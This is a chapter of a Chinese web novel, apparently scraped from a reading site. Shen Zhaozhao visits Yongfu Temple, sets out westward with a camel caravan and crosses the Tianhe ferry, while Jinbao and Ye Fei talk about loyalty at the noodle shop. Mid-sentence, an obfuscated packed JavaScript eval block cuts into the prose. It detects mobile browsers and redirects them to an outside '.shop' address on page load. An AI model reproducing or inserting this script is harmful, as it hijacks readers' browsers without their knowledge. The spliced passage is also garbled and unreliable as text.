默认冷灰
24号文字
方正启体

75. 天河渡

作者:一念心本书字数:K更新时间:
    “阎浮众生,于此大士,有大因缘。是诸众生,闻菩萨名,见菩萨像,乃至闻是经三字五字,或一偈一句者,现在殊妙安乐,未来之世,百千万生,常得端正,生尊贵家……”


    青烟袅袅。


    京都东北角的永福寺内,沈昭昭拈着三根清香,低声诵完一段《地藏经》,给贾康等人超度。


    末了,她又朝土地像拜了拜,求个出行平安。


    她心里没能忘得了那个曾有一面之缘的圆觉和尚,如今到了永福寺,便更好奇其中的因果。


    怎会有人放着好好的富贵住持不做,偏要跑到桃源县那穷乡僻壤去吃苦?


    与平安村后山土地庙的幽静雅致不同,永福寺处处金碧辉煌。佛像塑了金身,往来人流如织,香火更是鼎盛至极。


    靖国的国运牌位就供在大殿正中,足见皇家对这处寺院的倚重。


    普通百姓多是一炷清香、默祷许愿;若是宫中官员或富商巨贾,寻到门路,便有可能被请进后院,与方丈对弈品茗。


    听说连皇上都曾在方丈茶室喝过一壶清茶,这消息传开,引得天下人趋之若鹜,不惜一掷千金只求一席之位。


    沈昭昭兴致忽起,又花二钱银子,拿起桌上的签筒摇了一签。


    哗啦——哗啦——


    竹筒里签子碰撞攒动。


    她想问西域之行顺不顺遂,也并未认真,只随意抽了一支出来。


    “劳烦小师傅解签。”她将签文递给桌后小和尚。


    小和尚接过,照惯例念道:“山高水长路不平,灯花结彩未成明。且将心事随流水,待到春来花自生。”他顿了顿,“此为平签。姑娘所谋之事,尚在途中,未见分明。不妨放平心态,事缓则圆。”


    沈昭昭听着,只觉是套话。


    寺里签文多是这般,写几句放之四海皆准的鸡汤,谁抽了都能往自己身上套。


    平签也挺好,至少不是下签,玄学一搞倒也让她出发前的焦虑淡了几分。


    实在不行,就当游历一番。毕竟,她上辈子都没去这么远的地方玩儿过。


    沈昭昭又向小和尚道:“你可认识圆觉师父?”


    小和尚闻言双手合十,惊讶道:“圆觉师父是之前永福寺的住持呀!他看着我长大的,怎么会不认识?”


    沈昭昭眼珠一转,偷偷将小和尚拽到一边,轻声问道:“小师父,麻烦你告诉我,圆觉为何不继续呆在永福寺了?”


    小和尚警惕地看看四周,全是忙着上香的香客,好像没有人特意注意到他们,才靠近沈昭昭,用只有两个人听到的声音说:“我听师兄们说,圆觉师父佛法造诣精深,可打理产业、田庄、生意就差了些。听说是皇上对他不满,才将他贬走的。”


    他又忙补充道:“我听说的啊,具体如何不敢乱说!女香主请告诉我,圆觉师父现在过得还好吗?”


    沈昭昭若有所思,寺庙也要赚钱吗?


    转念一想,有这么多僧人要供养,也是一笔不小的开支。


    于是,她将圆觉的情况大略和小和尚一说,两人唏嘘不已。


    圆觉这“官”贬的也太多了!


    小和尚得知圆觉平安,反倒松了口气。此前一直没有消息,他还怕是有人要对圆觉不利。


    至于钱财吃穿嘛,出家人,终归是能看开些的。


    “哎!”小和尚忽然拉了拉沈昭昭的袖子,“永宁公主来了,要不要随我去后院茶室看看?”


    “她经常来寺庙吗?”沈昭昭有些疑惑,可她想起那永宁将楚寒带走的事,心头添了几分别扭,于是婉拒了小和尚的提议。


    小和尚见她拒绝,十分诧异。多少人想要一个进方丈茶室的机会!


    那里卧虎藏龙,说不定便遇到贵人一步登天了。


    可这个姑娘却十分不情愿的样子。


    小和尚答:“永宁公主像是有许多朋友,每次带的人都不一样。说不定是觉得永福寺环境好,当个聚会的去处。”


    沈昭昭耸耸肩,不置可否。


    她对永宁的动向兴趣不大,此行的目的已达到,便准备告辞离去。


    “还是多谢姑娘告诉我圆觉师傅的消息。”小和尚恭敬地双手合十,向沈昭昭行了一礼,继续摇起签筒,给后面翘首以盼的人解卦。


    天光微亮。


    沈昭昭起了个大早,独自来到沈记食肆。她最后检查了一圈灶具、米缸、酱坛,又认真落了锁。


    阿娜尔汗的驼队已经在街外等她了,只等她将金水街的事情收尾。


    沈昭昭唤来汪天保,将食肆钥匙与一封信交到他手里。


    “这封信帮我寄给金宝,日后铺子有事,就找他拿主意。”她顿了顿,又郑重叮嘱,“金宝年纪小,经验少,若有事情,你一定要护着他!千万多提点两句!”


    说着,她往汪天保手中塞了个满满当当的钱袋。


    汪天保眉开眼笑,连连拍胸:“自然!金宝有我照应,能出什么事儿?你放心去就是。”


    信差在马背上唏嘘不已。想不到,他的金水街第一大客户,就这么走了。


    那封薄薄的家书躺在褡裢里,顺着再熟悉不过的道路,一路传到了平安村。


    沈记面铺内,金宝正耐心教叶飞如何做沈昭昭的肉酱面。


    忽然,门外响起熟悉的声音:


    “沈记面摊,京都有信来了!”


    金宝走到门口,从信差手中接过信,忙不迭拆开。


    叶飞手上还沾着面粉,也忍不住凑过来:“昭昭姐说什么了?”


    金宝眼底掠过一丝怅然:“她已经出发了。去西域这一程山长水远,也不知多久才能回来。”他将信纸折好,“她让我去京都跟汪大哥交接,村子的面店……你要尽快顶起来。”


    叶飞顿感肩上一沉,揉面的手不自觉加了几分力,将面条细细扯开。


    他歪了歪头:“金宝哥,你日日做面,不觉得无聊么?”


    “再扯细些,这边黏住了。”金宝伸手帮他理了理粘连的面条,反问道,“你先前可曾做过什么工?”


    叶飞想了想,有些不好意思:“之前都是帮我姐干些杂活,倒真没自己做成过什么事。”


    金宝顿时了然:“你要是尝过饿肚子的滋味,哪还管事情无不无聊?能有门活计吃上饭,已是天大的恩德。”


    他顿了顿,又道:“还是多亏了你有个好姐姐。若搁在以前,我要羡慕死你。可自从遇到昭昭姐和白芷姐她们,我倒是从未再羡慕旁人了。”


    “现在算账、识字、做面,我样样拿得起来。有靠山,谁想自己单干?单打独斗干出点名堂,天知道多难。”


    叶飞听这一大通话脑袋直发懵,只知呆呆点头:“的确,我姐从没让我饿过肚子。”可他又困惑地皱起眉,“但金宝哥,自己单干不是更赚钱么?”


    叶飞从小跟着叶丹接散活,从没有固定主顾,脑中既无“忠诚”也无“稳定”的概念,只知道姐姐去哪儿,他便跟到哪儿。


    看叶丹如今的样子,似乎很满意平安村的营生,也许他们会就此扎根。可偶尔,他还是想念繁华有趣的京都。


    金宝眼神闪烁了一下。这账他当然算得过来。


    平日里店都是他在管,趁着沈昭昭不在,自己单干,赚的只会更多。


    “搁在以前,我也是这么想的,教会徒弟饿死师傅。”他轻声开口,“跟着山匪响马混的时候,三天换一个山头,为吃口饭,撒过谎、也信错过人。”


    他加重了语气:“可那是活不下去的时候,用什么下三滥手段都能被原谅。如今不必担心挨饿,就不能再那样想了!”


    他定定直视叶飞:“昭昭姐不是我老板,是家人。只要她需要我,我会尽全力帮她!”


    “我也觉得,昭昭姐好像有种魅力,能把人都聚在她身边,即使她不在。”叶飞若有所思,自从上次沈昭昭安慰他后,他也更爱和周遭的人一同聊天了,甚至有时候都忘记了自己耳朵的事。


    而他姐姐也不知怎的,自从回到平安村,对他的态度也温柔了很多,不像之前一样说话冷冰冰。


    金宝目光坚定:“昭昭姐是给我自由的依仗。我相信,若我真想去做自己的事,她绝对会无条


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360282|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    件支持我!”


    叶飞听得似懂非懂,生疏地将面下锅。锅中热气腾起,将两人淡淡隔开。


    过了半晌,锅中的水已咕噜咕噜滚开,里面的面条翻涌上来。


    “阿娜尔汗婆婆,面好啦~”沈昭昭将肉酱面捞上来,和阿娜尔汗吃上了同行的第一顿饭。


    骆驼停在官道的路边,从落脚的村子往京都望去,也只有寥寥一横一点,看不分明。她们已经走出很远了。


    肉酱面入口,阿娜尔汗可算对沈昭昭安身立命的这碗面有了认识,有这等手艺的厨娘在旁,这一路山长路远也一定妥帖舒心。


    她的面色没了开始的陌生疏离,反而变得柔和,对沈昭昭多了几分好奇:“灵香子对你怎么如此重要?”


    沈昭昭嗦了口面,答:“既然灵香子不出天山,那我家人极有可能也去过西域。他们都不在了,我想去找找看,有什么他们留下来的。”


    不知到底过了多少时日,只觉身旁景色彻底换了一轮,她们才终于抵达了天河渡口。


    天河在此处劈开峡谷,水势湍急凶猛。


    天河渡,正是传说中鲤鱼跃龙门的地方。


    阿娜尔汗的驼队却半分不停,踏着渡口的碎石,径直往停泊船队的方向去。


    渡口边泊着几艘宽大的木船,阿娜尔汗熟门熟路地找到了相熟的船夫,转头便招呼沈昭昭:“来,搭把手,把骆驼赶上船。”


    牵着骆驼的缰绳,踏上船的甲板,沈昭昭心中出现了一丝冒险的快意。


    她对接下来的冒险充满期待,心中又难免有一丝害怕。


    她忍不住想,这么宽、这么急的天河,这木船真能载着她们平安渡过去?


    等乘客和货物都上齐了,船老大吆喝一声,木船便缓缓动了。船借着水流的力道,慢悠悠向河中心驶去。


    沈昭昭安置好骆驼,抬眼望去,船上的乘客各式各样,有穿粗布衣裳的商贩,有高鼻深木的胡商,口音也是南腔北调,甚至还有外国人!


    这还是她头一回瞧见这么多新鲜。


    在天河上驶过一段后,沈昭昭才发现,刚才在渡口看着巨大的船,在河中只是一个可怜的小黑点。


    越靠近河中心,风浪越大。船开始在浪中起伏颠簸。


    沈昭昭死死抓住捆货物的麻绳,不敢向浑浊的河里看,生怕一个不小心就被卷入深渊。


    紧接着,她眼前一黑,胃里也翻江倒海,恶心劲儿一阵接一阵往上涌。


    她晕船了。


    “莫怕!”阿娜尔汗见沈昭昭脸色苍白,正紧紧靠着货物蹲下身,知她难受,忙安慰道:“老话说,天河的水看着凶,但不会随意害人哩。你敬它,它便送你过去。若是真难受,就求求河伯!”


    “嗯。”沈昭昭应了一声,默默对河伯道,“河伯老爷,我没有恶意。求您让我平安过去吧!”


    不知道是不是心理作用,求完河伯后,她的晕船还真缓解了些。


    筏子行至江心,阿娜尔汗忽然指向前方:“看,鸣沙瀑布!”


    沈昭昭仰头望去。


    鸣沙瀑布上下落差极高,仿佛将天河水泼了下来。


    水流裹挟着沙砾自绝壁畅快砸下,拍在河床上,溅起层层白浪。


    水声轰鸣如奔雷,震得人全身发麻。


    水在此处争够了,再向远处一泻千里。


    喷溅的水雾洒向云天,透过阳光,在半空挂起一道虹霓。那一抹极淡的七彩,仿佛随时会消散,呈现出一种脆弱的美感。


    船上的人皆默契地停止了交谈,一同仰头看着这波澜壮阔的自然奇观。


    阿娜尔汗眯起眼问:“你可知道这渡口为何叫天河渡?”


    沈昭昭摇头。


    阿娜尔汗扫了一眼鸣沙瀑布,长叹一口气:“天河,过去了便是渡人,过不去可是渡劫。你脚下这片河,不知道沉了多少具尸骨。”


    水腥味裹着泥沙的味道传来,沈昭昭凝视着那道垂天而下的白练,听着阿娜尔汗的描述,眼前仿佛真的看到了浑浊的河底遍地的白骨。


    她只能久久无言。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)